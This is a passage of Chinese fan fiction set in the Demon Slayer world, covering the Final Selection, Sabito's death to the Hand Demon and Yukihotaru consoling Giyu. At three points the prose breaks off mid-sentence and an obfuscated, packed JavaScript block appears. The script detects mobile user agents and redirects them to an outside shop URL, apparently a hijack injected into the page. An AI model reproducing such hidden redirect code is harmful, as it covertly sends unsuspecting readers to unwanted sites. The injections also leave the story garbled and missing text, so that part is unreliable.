“产屋敷雪萤。”她说。 锖兔点点头。 “我知道。”他说,“主公的女儿嘛。” 雪萤没有接话。 锖兔也不在意,自顾自地说: “我们一起走吧?人多安全一点。” 雪萤沉默了一会儿,然后点点头。 “好。” 锖兔笑了。 “那走吧。七天呢,慢慢来。” —— 雾里,另一个戴着靛蓝色面具的少年,正快步追上来。 他看见雾里那两个身影,脚步顿了一下。 然后他继续往前走。 走到他们身后,他停下来。 锖兔回头看了他一眼。 “义勇,来了?” 义勇点点头。 他的目光,从锖兔身上,移到旁边的少女身上。 她站在雾里,侧脸被雾气模糊了轮廓。可那双眼睛,还是那么清晰,那么亮。 他只看了一眼,就收回目光。 “……走吧。”他说。 锖兔笑了。 “走。” 三个人,走进了雾的更深处。 身后,山门已经看不见了。 前面,是七天的未知。 23. 我有点喜欢她 雾很浓。 三个人并排走在看不清前路的山林里,脚下是腐烂的落叶和潮湿的泥土。每隔几步,就能看见一具骸骨——那是往年没能走出去的人。 锖兔走在最左边,时不时回头看一眼身后的两人。义勇走在最右边,一言不发,只是沉默地跟着。雪萤走在中间,脚步平稳,目光沉静。 “这雾真够呛。”锖兔说,“什么都看不见。” 雪萤没有说话。 可她竖着耳朵,仔细听着周围的动静。 沙沙。沙沙。 她的脚步顿了一下。 “左边。”她轻声说。 锖兔和义勇同时停下。 “有东西?” 雪萤点点头。 “三个呼吸声。”她说,“一个在前,两个在后。前面的那个,呼吸很急。” 锖兔眨了眨眼睛。 “你能听见?” 雪萤没有回答。她的手已经按在了刀柄上。 雾里,一道黑影扑了出来。 那是第一只鬼。手长脚短,手臂几乎拖到地上,指甲漆黑如钩。它张着嘴,口水顺着嘴角往下淌,直直朝雪萤扑来。 雪萤没有动。 就在那只鬼即将碰到她的一瞬间,她侧身,拔刀。 刀光一闪。 那只鬼从中间裂开,化成灰烬,飘散在雾里。 锖兔瞪大了眼睛。 “好快!” 雪萤收刀入鞘。 “后面那两个。”她说,“十息之后到。” 锖兔愣了一下,然后笑了。 “十息?够了。” 他握紧刀,朝前迈了一步。 “义勇,你守住后面。前面那两个,我和她来。” 义勇点点头。 十息之后,两道黑影从雾里冲出来。 一只瘦长如蛇,一只矮胖如球。 锖兔动了。 他的身形快如流水,一刀劈向那只瘦长的鬼。那鬼闪身躲过,却被他紧随的第二刀逼得连连后退。 “雪萤!”他喊了一声。 雪萤已经动了。 她迎上那只矮胖的鬼,刀光如雪,一刀封住它的退路。那只鬼咆哮着朝她扑来,却被她轻巧闪过,回手一刀斩在它的后颈。 那只鬼哀嚎一声,化成灰烬。 锖兔那边也结束了战斗。他一刀刺穿那只瘦长鬼的心脏,然后退后一步,看着它化成灰。 他转过头,朝雪萤竖起大拇指。 “配合得好!” 雪萤点点头。 “你也是。” 锖兔笑了。 “再来?” “再来。” —— 第一天,他们杀了三只鬼。 每一次,都是雪萤先发现鬼的位置,告诉锖兔和义勇。每一次,都是锖兔冲在最前面,雪萤从旁策应。每一次,都是义勇守在最后,防止有鬼从背后偷袭。 他们的配合越来越默契。 有一次,他们遇见了一只速度极快的鬼。那鬼在雾里来回穿梭,快得看不清身影。 锖兔皱起眉头。 “太快了,追不上。” 雪萤闭上眼睛,听了一会儿。 “它每跑三圈,会在东南方向停一息。”她睁开眼睛,“我去逼它停下,你斩它。” 锖兔愣了一下。 “你能逼它停下?” 雪萤没有回答。她已经动了。 她的身形在雾里穿梭,刀光如雪,一刀一刀封住那只鬼的退路。那只鬼被她逼得越来越紧,只能朝一个方向跑。 三圈之后,它在东南方向停了一息。 就是这一息。 锖兔的刀已经到了。 “水之呼吸·肆之型——击打潮!” 一刀贯穿。 那只鬼连惨叫都来不及发出,就化成灰烬。 锖兔收刀,转过头看着雪萤。 “你怎么知道它会停在那里?” 雪萤摇摇头。 “不知道。”她说,“只是……能感觉到。” 锖兔看着她,忽然觉得这个少女像一团谜。 漂亮得不像话,强得不像话,还总能做到别人做不到的事。 他忍不住多看了她几眼。 —— 第二天,他们又遇见了鬼。 这次是一只藏在树上的,像猴子一样在树枝间跳来跳去。 锖兔追了几圈,累得直喘气。 “这东西……太能跳了……” 雪萤抬头看了一会儿。 然后她拔刀。 “玖之型·冰河。” 刀光连绵不绝,一刀接一刀,没有任何停歇。那些刀光在空气中凝结成一道道冰刃,朝树上飞去。 那只鬼无处可逃,被冰刃钉在树干上。 锖兔瞪大了眼睛。 “这招……” 雪萤收刀。 “你可以去斩了。” 锖兔回过神来,快步上前,一刀结果了那只鬼。 他回头看着雪萤,眼睛里满是惊叹。 “你这招太厉害了!” 雪萤摇摇头。 “还没练好。”她说,“师父说,真正的冰河可以连斩三百刀。我才一百多。” 锖兔倒吸一口凉气。 一百多刀?还叫没练好? 他忽然觉得,这个少女不仅漂亮得不像话,还强得不像话。 —— 义勇站在不远处,看着他们。 看着锖兔和她配合默契,一刀一刀斩杀那些鬼。看着她挥刀的样子,看着她的刀光如雪,看着她在雾里穿梭的身影。 锖兔总是冲在最前面,她总是从旁策应。两个人像是配合了无数次一样,一个眼神就知道对方要做什么。 而他,只能站在后面,守着他们的后背。 不是不想冲上去。是冲不上去。 他的速度没有锖兔快,刀法没有锖兔好,反应也没有锖兔灵敏。每次他想上前帮忙,锖兔已经解决了战斗。 他只能站在那里,看着。 看着他们的背影。 他低下头,握紧了刀。 —— 第二天夜里,他们找到一棵巨大的树,决定在树上过夜。 树干很粗,足够三个人各自找一个舒服的姿势靠着。锖兔自告奋勇守第一班,让雪萤和义勇先睡。 雪萤靠在一根粗壮的树枝上,闭上眼睛。 她没有睡着。只是闭着眼睛,听着周围的动静。 风声,虫鸣,远处偶尔传来的鬼的哀嚎。 还有,很近的呼吸声。 锖兔的呼吸很轻,但很有节奏,像是在数着什么。义勇的呼吸很沉,不像是睡着,倒像是在想着什么心事。 她睁开眼睛,看了一眼义勇的方向。 他靠在不远处的树枝上,眼睛睁着,望着夜空。月光透过雾气照下来,落在他脸上,落在他握紧刀的手上。 他没有睡着。 雪萤没有说什么,又闭上眼睛。 —— 后半夜,轮到雪萤守夜。 她坐在树枝上,望着下面黑漆漆的树林。雾比白天淡了一些,月光能透下来一点,照得树叶泛着银光。 她听见身后有动静。 锖兔醒了。 他轻手轻脚地挪过来,在她旁边坐下。 “睡不着?” 雪萤摇摇头。 “习惯了。”她说,“在雪山的时候,每天晚上都要听雪落的声音。听习惯了,不听反而睡不着。” 锖兔笑了。 “雪落也有声音?” “有。”雪萤说,“很轻,很细,像羽毛拂过地面。” 锖兔听着,忽然觉得这个少女说话的样子很好看。 她望着远方,月光落在她脸上,给她的侧脸镀上一层柔和的光。睫毛很长,微微翘着,随着她眨眼轻轻颤动。嘴唇微微抿着,带着一点若有若无的弧度。 他看了好几眼,才收回目光。 “你……一直都这么强吗?” 雪萤摇摇头。 “不是。”她说,“一开始什么都不会。爬雪山的时候,差点死在半路上。” 锖兔愣住了。 “那你……” “练。”雪萤说,“不停地练。练到手脚都失去知觉,练到站着都能睡着,练到把刀当成了自己的一部分。” 她顿了顿。 “师父说,没有谁是生来就强的。只有不想变强的人,没有变不强的人。” 锖兔听着,沉默了一会儿。 然后他笑了。 “你说得对。” 他转过头,望着远方。 “我也会变强的。强到能保护想保护的人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444163|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 雪萤看了他一眼。 那个少年望着远方,眼睛里有一种坚定的光。 她没有说话。 只是嘴角微微弯了一下。 —— 义勇其实醒着。 从锖兔醒来的那一刻,他就醒了。 他听见锖兔挪过去,听见他们说话。他听见她说话的声音,轻轻的,柔柔的,像风吹过树叶。他听见锖兔笑,听见她说“练,不停地练”。 他睁开眼睛,透过树叶的缝隙,看见他们俩坐在不远处。 月光下,她的侧脸那么好看。 他只看了一眼,就移开目光。 然后他闭上眼睛,假装睡着。 可他的脑子里,全是她的样子。 —— 第三天清晨,雾比前两天更浓了。 他们刚走出没多远,忽然听见远处传来一声惨叫。 人的惨叫。 雪萤的脚步顿住了。 她侧耳听了一会儿。 “那边。”她指向东边,“有人在求救。” 锖兔皱起眉头。 “我们一起去。” 雪萤摇摇头。 “来不及。”她说,“你们继续往前走,我去救人,然后追上来。” 锖兔愣住了。 “可是——” “三天了。”雪萤看着他,“我知道怎么在雾里走,知道怎么找鬼,知道怎么活下来。你们也是。” 她顿了顿。 “分开走,能救更多人。” 锖兔张了张嘴,想说什么,却什么都说不出来。 义勇站在一旁,沉默着。 雪萤看了他们一眼。 “活着出去。”她说,“七天后,山门外见。” 然后她转身,朝那个方向跑去。 她的身影很快消失在雾里。 锖兔站在原地,看着那个方向,半天没动。 “她……”他开口,声音有些哑。 义勇没有说话。 他只是看着那个方向,看着那片吞没了她的雾。 然后他转身,往前走。 “……走吧。”他说。 锖兔愣了一下,然后跟上他。 两个人,继续往前走。 —— 第三天到第五天,他们没再见过面。 雪萤一直在救人的路上跑。她听见惨叫声就去,看见有鬼就杀,遇到受伤的人就护着他们往前走。 她救了四个人。两个和她差不多大的少年,一个比她小的女孩,还有一个已经受了重伤的少年。 那个少年伤得很重。她守在他身边,等他自己醒来。他醒来后,她带着他走了很远,一直送到安全的地方。 —— 锖兔和义勇也在救人。 他们遇见了一对兄妹。哥哥和妹妹差不多大,都受了伤。锖兔帮他们包扎伤口,义勇守在一旁,警惕着周围的动静。 “谢谢你们。”那个哥哥说,“要不是你们,我们……” 锖兔摆摆手。 “不用谢。一起活着出去就行。” 他笑了笑,眼睛亮亮的。 那个妹妹看着他,脸微微红了。 义勇站在一旁,看着这一幕,什么都没说。 —— 第五天夜里,他们找到一个山洞休息。 锖兔坐在地上,靠着洞壁,望着外面的黑暗。 “也不知道她怎么样了。”他说。 义勇没有说话。 锖兔转过头,看着他。 “义勇,你喜欢她吧?” 义勇的身体僵了一下。 “……没有。”他说。 锖兔笑了。 “骗谁呢。你看她的眼神,当我没看见?” 义勇沉默着。 锖兔也不在意,自顾自地说: “她真的很厉害。又漂亮,又厉害,还那么温柔。” 他顿了顿。 “我也有点喜欢她。” 义勇看了他一眼。 锖兔笑了。 “不过没关系。”他说,“喜欢就喜欢呗。反正她现在又不在这里。” 义勇没有说话。 他只是望着外面的黑暗,望着那片看不见的远方。 她在那里吗? 她还好吗? 她……会回来吗? 24. 手鬼 第六天。 所有人都很疲惫了。 五天的厮杀,五天的逃亡,五天的不眠不休。活下来的人越来越少,还能站着的人,每一个都像绷到极限的弦。 锖兔和义勇也累了。 可他们还在往前走。 “明天就能出去了。”锖兔说,声音有些沙哑,“再坚持一天。” 义勇点点头。 他们走进一片树林。 雾很浓。比之前几天都浓。浓得看不清三步之外的东西。 锖兔走在前,义勇走在后。 两个人都不说话,只是沉默地走着。 忽然,锖兔停下脚步。 “怎么了?”义勇问。 锖兔没有回答。 他只是站在那里,望着前方的雾。 雾里,有什么东西在动。 很大。 —— 雾散开了。 一只巨大的鬼站在那里。 它的体型庞大得惊人——大约是常人的五倍高,站在那里像一座小山,遮住了身后所有的光。绿色的皮肤在昏暗的光线里泛着病态的光泽,一双金色的瞳孔正死死地盯着他们。 最可怕的,是它的身上缠绕着无数手臂。 粗大的、扭曲的、密密麻麻的手臂,层层叠叠地裹在它身上,像是被一片“手的海洋”包裹着。那些手臂有的大,有的小,有的长,有的短,有的还在微微蠕动。 它就那样站在那里,一动不动。 可那双金色的眼睛里,忽然亮起了光。 它看见了他们脸上的狐狸面具。 —— “狐狸面具……” 那声音从无数手臂的缝隙里挤出来,低沉,沙哑,像是从地狱里爬上来的恶鬼。 “又是狐狸面具……” 它朝前迈了一步。地面都在震动。 “鳞泷左近次……”它的声音变得尖锐起来,“那个该死的鳞泷左近次……当年把我抓起来,扔在这座山里……一关就是几十年!” 那些手臂开始舞动起来,像无数条蛇在扭动。 “我等了这么多年……等了这么多年……终于又有带狐狸面具的家伙送上门了!” 它朝他们扑过来。 —— 太快了。 锖兔和义勇同时拔刀。 可那只鬼的力量太大,速度太快。无数手臂同时朝他们抓来,像一张铺天盖地的网。 义勇躲闪不及,被一条手臂扫中,整个人飞了出去,撞在一棵树上,昏了过去。 “义勇!” 锖兔大喊一声,朝那只鬼冲过去。 “水之呼吸·贰之型——水车!” 刀光闪过,斩断了几条伸向他的手臂。可更多的手臂涌上来,逼得他连连后退。 他没有退。 义勇还躺在那里。他要保护他。 “水之呼吸·叁之型——流流舞!” 他的身形变得更快,绕着那只鬼快速移动,一刀一刀斩向那些手臂。断臂落了一地,可那只鬼毫不在意。断了的手臂,很快就长出新的。 它太大了。 它太强了。 可锖兔不能停。 “肆之型·击打潮!” “伍之型·干天的慈雨!” “陆之型·扭转漩涡!” 一刀,一刀,又一刀。 他的体力在飞快地流失。手开始抖,腿开始抖,呼吸开始变得急促。可他还在冲,还在斩,还在挡在义勇前面。 他不能倒下。 他还要保护义勇。 他还要……活着出去。 —— 终于,他找到了机会。 那只鬼的脖子露出来了——虽然那里也缠绕着无数手臂,可那些手臂之间,有一道缝隙。 那是它的弱点。 锖兔深吸一口气,用尽全身最后的力量,朝那个方向冲去。 “水之呼吸·拾之型——生生流转!” 刀光旋转如龙,朝那道缝隙斩去。 当——! 刀崩断了。 那只鬼的脖子太硬了。那些缠绕着的手臂太硬了。他的刀砍在上面,只留下了一道浅浅的伤痕,然后断成了两截。 锖兔愣愣地看着手里的断刀。 那只鬼低下头,看着他。 那双金色的眼睛里,满是嘲讽。 “刀断了?” 那些手臂伸过来,像无数条蛇,缠住了他的身体。 他挣不开。 他太累了。他没有力气了。 他被举到那只鬼的面前。 他看见那双金色的眼睛,看见那些密密麻麻的手臂,看见那张咧开的大嘴。 他转过头,看向地上的义勇。 那个一起长大的伙伴,还躺在那里,昏迷着。 还好。他还活着。 那就好。 —— 那些手臂穿透了他的胸口。 很疼。 可他只是看着义勇,看着那个方向。 他的嘴张了张。 “义勇……” 没有声音。 血从他的嘴角流下来。 他还在看。看着那个方向。看着那个人。 然后他的眼睛,慢慢闭上了。 —— 雪萤是听见声音赶来的。 那个声音很大,很响,隔着老远都能听见。 她跑得很快。用尽全力地跑。 可她来的时候,战斗已经结束了。 她冲进那片树林,看见的是满地的断臂,撞断的树,碎裂的石头。 还有一个人。 躺在地上,胸口破了一个大洞。 橙红色的面具碎在一旁。 锖兔。 他躺在那里,眼睛闭着。 她走过去,跪下来,伸出手。 手指碰到他的脸时,是凉的。 ——不是那个会笑着喊她名字的人。 ——不是那个坐在她旁边问她雪落有没有声音的人。 ——不是那个说“我也会变强的,强到能保护想保护的人”的人。 他不会再说话了。 —— 她跪在那里,看着他。 那个三天前还和她一起战斗的少年,那个笑起来眼睛亮亮的少年,那个说“下次见面,我们还会一起战斗吧”的少年。 现在躺在这里。 胸口破了洞。 眼睛闭着。 不会再睁开眼睛了。 她张了张嘴,想喊他的名字。 可喉咙里像是塞了什么东西,什么都喊不出来。 —— 然后她看见了那只鬼。 它站在那里,正低头看着地上的少年,像是在欣赏自己的杰作。那些无数的手臂在它身上扭动着,像在庆祝什么。 它转过头,看见了她。 那双金色的眼睛里,闪过一丝兴趣。 “又来一个?”它笑了,那些手臂跟着一起扭动,“还带刀?你是那家伙的徒弟吗?” 雪萤没有回答。 她只是看着它。 看着那庞大的身躯,那些无数的手臂,那双金色的眼睛。 看着它身上那些伤口——那些锖兔留下的伤口。 她的心里,有什么东西在燃烧。 那是一种她从未体验过的感觉。 不是悲伤。悲伤已经流走了。 不是恐惧。恐惧已经被压下去了。 是一种滚烫的、灼人的、想要撕碎什么的感觉。 她的手指攥紧了刀柄。 —— 为什么? 为什么这个世界上会有这种东西? 为什么这种东西会吃人? 为什么它要把人杀死? 为什么它要杀死他? 他做错了什么? 他明明那么好。明明那么努力。明明那么想变强。明明那么想保护人。 他说要保护想保护的人。 可谁来保护他? 谁来保护他?! —— 眼泪流了下来。 可她没擦。 她站起来。 拔刀。 刀身在月光下泛着冷冷的白光。 她握紧它,一步一步朝那只鬼走过去。 —— 那只鬼看见她的眼神,愣了一下。 那眼神它见过很多次。那是仇恨的眼神,是愤怒的眼神,是想杀死它的眼神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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鬼死了。 可他还是回不来了。 —— 她转过身,走回锖兔身边。 跪下来。 他就那样躺着,眼睛闭着。 很安静。 脸上还带着一点淡淡的弧度,像是在笑。 她伸出手,轻轻覆在他脸上。 凉的。 “锖兔。”她喊他的名字。 没有回答。 “锖兔。”她又喊了一声。 还是没有回答。 她的眼泪落在他的脸上,一滴,又一滴。 “对不起。”她说,“我来晚了。” —— 天边,有一线光慢慢亮起来。 第七天的太阳,升起来了。 她抬起头,望着那道光。 阳光照在她脸上,照在锖兔脸上,照在散落一地的断臂和灰烬上。 七天结束了。 活下来的人,可以走出去了。 可这里,有一个人,再也走不出去了。 —— 远处,有什么声音传来。 是义勇。 他还昏迷着,躺在不远处的树下。 她站起来,走过去。 把他扶起来,背在背上。 他比她重。可她背着他,一步一步往前走。 走到锖兔身边,她停下脚步。 她低下头,看了最后一眼。 “我先送他出去。”她说,“你……放心。” 风轻轻吹过,吹起他的发丝。 像是在和她说再见。 —— 她背着义勇,一步一步走出树林。 阳光照在她身上,照在她背上的少年身上。 她的身后,那个少年一个人躺在那里。 阳光照在他脸上。 很安静。 像是睡着了一样。 25. 希望你能让他走出阴霾 藤袭山的选拔结束了。 活着走出来的人,比往年任何一届都多。 十五个人进去,十四个人出来。 只有一个牺牲者。 当这个消息传开的时候,所有人的目光都落在了那个少女身上。 产屋敷雪萤。 “听说了吗?主公的女儿一个人救了好多人。” “那些鬼都是她杀的?” “据说她和锖兔配合得特别好,杀了十几只鬼……” “不愧是主公的女儿啊。” 赞美声从四面八方涌来。 可雪萤听不见。 她把自己关在房间里,已经三天了。 —— 房间里很暗。 窗户关着,门关着,只有一丝光从缝隙里漏进来。 雪萤坐在角落里,抱着膝盖,把头埋在臂弯里。 她不说话,不动,也不吃东西。 天音送来的饭菜,凉了又热,热了又凉,原封不动地摆在门口。 她的脑海里,全是那个画面。 锖兔躺在地上,胸口破了一个洞。 他闭着眼睛,脸上带着一点弧度,像是在笑。 可那是死的笑。 她来晚了。 如果她能再快一点,如果她没有和那几只鬼纠缠那么久,如果她的体力能再持久一些—— 如果她能早到一步,哪怕只是一步,他是不是就不会死? 那个眼睛亮亮的少年,那个说“我也会变强的”的少年,那个才十三岁的少年。 他的人生才刚刚开始。 他还有那么多想做的事,那么多想保护的人。 可他就那样躺在了那里,再也不会醒来。 雪萤闭上眼睛。 可她闭上眼睛也没用。那个画面,已经刻在她脑子里了。 —— 门被轻轻推开了。 光从外面涌进来,刺得她眯起眼睛。 一个身影站在门口。 高大的,温柔的,带着一点疲惫的。 耀哉。 他走进来,在她身边坐下。 房间里很安静。只有两个人的呼吸声。 沉默了很久。 “雪萤。” 耀哉开口了。他的声音还是那么温柔,像小时候哄她入睡时一样。 雪萤没有抬头。 “爹爹知道你难过。” 耀哉说。 “你经历了你这个年纪不该经历的事。” 雪萤的肩膀轻轻抖了一下。 “可你不能一直这样。” 耀哉转过头,看着她。 “你忘了自己要做什么吗?” 雪萤的眼泪,终于涌了出来。 她抬起头,看着他。 那双蓝紫色的眼睛,三天来第一次有了光。 可那是泪光。 “我没忘。”她的声音沙哑得像碎玻璃,“我说过了,要保护大家。要保护弟弟妹妹们。要让诅咒在我们这一代结束。” 她顿了顿,声音更哑了。 “可我……我没有护得住同伴。” 她把脸埋回臂弯里。 “我觉得自己好没用。” —— 耀哉看着她。 看着这个十三岁的少女,蜷缩在角落里,像一只受伤的小兽。 他想起她小时候,第一次摔倒时的样子。她也是这么蜷着,不哭不闹,只是自己爬起来。 他想起她离开家去雪山的那天,她站在门口,回头看他,然后头也不回地走进风雪里。 他想起她回来后,在院子里练刀的样子。那么专注,那么坚定,那么耀眼。 那是他的女儿。 是他最骄傲的存在。 可现在,她眼里的光,快要熄灭了。 —— “雪萤。” 他开口,声音更轻了。 “那就继续努力下去。” 雪萤的肩膀动了一下。 “让自己足够强大,强大到能保护任何人。”耀哉说,“向前看,雪萤。” 雪萤抬起头,看着他。 “每个人活在世上,都有自己的职责。”耀哉说,“对于锖兔,也是一样。” 他顿了顿。 “他守护了他的伙伴。” 雪萤愣住了。 她想起那天晚上,在树上守夜的时候,锖兔说的那些话。 “我也会变强的。强到能保护想保护的人。” 他做到了。 他保护了义勇。 他用自己的命,保护了他想保护的人。 “我想,”耀哉说,“有人应该比你更加自责。” 雪萤看着他。 “那个叫富冈义勇的少年。”耀哉说,“他是锖兔的同门师弟。从小一起长大,一起训练,一起进山。” 雪萤的眼泪又涌了出来。 她想起那天,她背着昏迷的义勇走出树林的样子。他那么沉,那么安静,脸上什么表情都没有。 她想起他醒来后,一句话都没说。 只是坐在那里,望着一个方向。 那个方向,是锖兔躺着的地方。 —— “雪萤。”耀哉看着她,“我希望你能让他走出阴霾。” 雪萤沉默了很久。 然后她擦了擦眼泪,站起来。 “我知道了,爹爹。” 她走到门口,停下脚步,回头看他。 阳光从门外照进来,落在她身上。 那双眼睛,又亮了起来。 耀哉看着她,轻轻笑了。 “去吧。” —— 雪萤找到义勇的时候,他一个人坐在山脚下的石头上。 夕阳快要落山了,橘红色的光落在他身上,把他的影子拉得很长。 他坐在那里,一动不动,望着远处的山。 那座山,是藤袭山。 他就那样望着,像是能透过山看见什么。 雪萤在他身后不远处停下脚步。 她看着那个背影。 少年的脊背微微弯曲,肩膀耷拉着,整个人像被抽去了骨头。他的头发乱糟糟的,身上还穿着那天沾满血迹的衣服,没有换。 他就那样坐着,像一尊雕塑。 雪萤轻轻走过去,在他身边站定。 他没有回头。 甚至没有任何反应。像是根本感觉不到她的存在。 雪萤没有出声。她只是站在那里,看着他的侧脸。 夕阳的光落在他脸上,照出他苍白的肤色和紧闭的嘴唇。他的眼睛望着远方,空洞洞的,什么都没有。眼眶周围有一圈淡淡的青黑色,那是几天没睡好的痕迹。 他就那样望着,一动不动。 像是灵魂已经被抽走了,只剩下一具躯壳坐在这里。 雪萤在他身边坐下。 两个人并排坐着,望着同一座山。 沉默了很久。 —— 义勇忽然开口了。 他的声音很哑,像是很久没说过话。那声音从喉咙里挤出来,破碎的,沙哑的,带着一种说不出的疲惫。 “我们从小一起长大。一起被师父收养,一起训练,一起进山。” 雪萤静静地听着。她没有看他,只是望着那座山。 “他很厉害。比我厉害多了。所有的招式,他学一遍就会。我要练很久,他早就练成了。” 义勇顿了顿。他的喉结动了动,像是在咽下什么。 “可他从来不笑话我。每次我练不好的时候,他就会陪着我,一遍一遍地练,直到我也会了为止。” 他的声音开始发抖。那颤抖很轻,可雪萤听见了。 “他说,等我们成为柱,要一起站在主公面前。他说,要保护很多人,让所有人都不会失去重要的人。” 他低下头,把脸埋在手心里。 “可他……他自己……” 他没有说下去。 雪萤转过头,看着他。 那个少年蜷缩在石头上,双手捂着脸,肩膀一抽一抽地抖着。他的背弓着,整个人缩成小小的一团,像是想把所有的痛苦都藏起来。 可藏不住。 那抖动的肩膀,那压抑的呼吸,那从指缝里漏出来的、细碎的、几乎听不见的声音。 他没有哭出声。 可他比哭出声还难受。 雪萤看着他,忽然想起三天前的自己。 也是这样的。蜷缩着,藏着,以为把自己藏起来,痛苦就会少一点。 可不会的。 痛苦只会越来越多,越来越重,压得人喘不过气。 —— “义勇。” 她开口了。 她的声音很轻,轻得像一片雪落在水面上。 义勇没有动。他还捂着脸,肩膀还在抖。 雪萤没有催他。她只是坐在那里,等他。 等他慢慢平静下来,等他慢慢放下手,等他慢慢转过头,看着她。 夕阳已经落下去了。天边还剩最后一缕光。 那光落在他们身上,把他们染成淡淡的橘红色。 义勇放下手。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444165|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过头,看着她。 那是他第一次,真正地看着她。 不是偷偷地看,不是从面具后面看,不是从雾里看。 是真正地、面对面的、用那双空洞了三天眼睛,看着她。 她坐在那里,和他并肩。 夕阳的余晖落在她脸上,给她的侧脸镀上一层柔和的光。深蓝色的长发被晚风吹起,几缕碎发轻轻拂过脸颊。她的睫毛很长,微微翘着,在眼睑上投下淡淡的阴影。那双蓝紫色的眼睛正望着他,里面有光。 不是那种刺眼的光。是一种柔和的、暖暖的光。像是落雪后的第一缕阳光,像是深夜里的一盏孤灯。 她的嘴唇微微抿着,带着一点若有若无的弧度。那弧度不是笑,而是一种……她说不上来的东西。 是理解。 是懂得。 是“我也一样”。 义勇看着那双眼睛,忽然说不出话来。 —— “锖兔保护了你。” 雪萤开口了。她的声音还是那么轻。 义勇的肩膀又抖了一下。 “他用他的命,保护了他想保护的人。”雪萤说,“他做到了。” 她顿了顿。 义勇看着她。那双眼睛里,有什么东西在动。 “我没能救他。”雪萤说,“我后悔也自责,恨自己为什么不能再快一点。” 她说着这些话的时候,声音很平静。可义勇看见,她的眼睛里有泪光。那泪光在夕阳里闪着,像是藏在雪地里的星星。 “可后悔没有用。”她说,“自责也没有用。他回不来了。” 她站起来,低头看着他。 夕阳从她身后照过来,把她的轮廓勾勒成一道金色的剪影。她的身影像一株雪中生长的白梅,纤细,却挺拔。 “所以我们要变强。” “强到能保护所有人。” “强到不会再让任何人死在我们面前。” “强到……能替他看看,那个他想看到的世界。” 她伸出手。 义勇看着那只手。 小小的,手指细长,指尖带着一点薄茧,是常年握刀留下的痕迹。可那只手稳稳地伸在他面前,没有一丝颤抖。 那只手,杀过鬼,救过人,握过刀。 此刻,正伸向他。 他沉默了很久。 久到最后一缕光也落下去了,久到天边只剩下深蓝色的暮色。 然后他伸出手,握住了它。 那只手,比他想象中更暖。 —— 天黑了。 两个人还坐在石头上。 没有人说话。可那种沉默,和之前的沉默不一样。 之前的沉默,是死寂,是绝望,是把人压得喘不过气的沉重。 现在的沉默,是安静,是陪伴,是两个同样受伤的人靠在一起,什么都不用说,就已经懂了。 义勇望着夜空,忽然开口: “雪萤。” “嗯?” “以后……可以这样叫你吗?” 雪萤转过头,看着他。 月光下,他的脸比白天更苍白一些,可那双眼睛,不像之前那样空洞了。 她点点头。 “可以。” 义勇的嘴角,动了一下。 不是笑。只是动了一下。 可那一下,已经很难得了。 —— “以后,”他说,“我们一起变强。” 雪萤看着他。 “好。” 义勇低下头,望着自己的手。 那只手,刚才握过她的手。 现在还留着一丝温度。 他忽然想起那天在雾里,第一次看见她的样子。 她站在人群里,穿着素白的衣袍,像一株雪中生长的白梅。那双蓝紫色的眼睛望着山门的方向,沉静得像一汪深潭。 那时候他只看了一眼,就移不开目光。 可他不知道,后来会发生这么多事。 他不知道,她会和他一起战斗。不知道她会救他。不知道她会坐在他身边,听他说那些从没对别人说过的话。 —— 雪萤望着夜空,忽然开口: “锖兔会在天上看着我们。” 义勇抬起头,顺着她的目光望去。 夜空中,有一颗星星格外明亮。 他看着那颗星,看了很久。 “嗯。”他说。 风轻轻吹过,吹起他们的发丝。 像是在和谁说再见。 也像是在和谁说——向前走。 26. 那丫头可不好追 从那之后,富冈义勇像是变了一个人。 不,他没有变。他只是把所有的力气,都用在了同一个地方。 训练场。 每天天还没亮,他就已经站在那里了。握着竹刀,对着木桩,一下,一下,又一下。汗水从额头流下来,滴在地上,很快就洇湿了一小片。他的头发乱糟糟地贴在脸上,衣服早就湿透了,可他不停。 一下。两下。三下。 他的眼睛盯着前方,可那眼睛里什么都没有。只有木桩,只有刀,只有那些重复了无数遍的动作。 他的嘴唇抿得死紧,嘴角微微向下,像是一直在忍着什么。脸颊上沾着灰,额角有一道浅浅的伤口,不知道是昨天还是前天磕破的。眼眶周围有一圈淡淡的青黑,那是很长时间没睡好的痕迹。 可他没有停。 “水之呼吸·壹之型——水面斩。” 刀落。 “贰之型——水车。” 转身,挥刀。 “叁之型——流流舞。” 他的身形开始移动,比之前更快,更稳。可还不够。他知道还不够。 锖兔比他快多了。 锖兔在的时候,总是笑着说“义勇,你这里不对,要这样挥”。锖兔会陪着他一遍一遍地练,直到他学会为止。锖兔从来不嫌他笨,从来不嫌他慢。 可现在锖兔不在了。 他只能自己练。一遍一遍,一遍一遍,练到手臂抬不起来,练到腿在发抖,练到眼前发黑。 他不能停。 停下来,就会想起那个画面。停下来,就会听见那个声音。停下来,就会看见那张脸。 那张闭着眼睛、带着一点弧度的脸。 他的刀更快了。 —— 太阳慢慢升起来,阳光照进训练场。 他还在练。 “肆之型——击打潮。” 刀光闪过,木桩上又多了一道深深的痕迹。 “伍之型——干天的慈雨。” 他闭上眼睛,深吸一口气,然后挥刀。 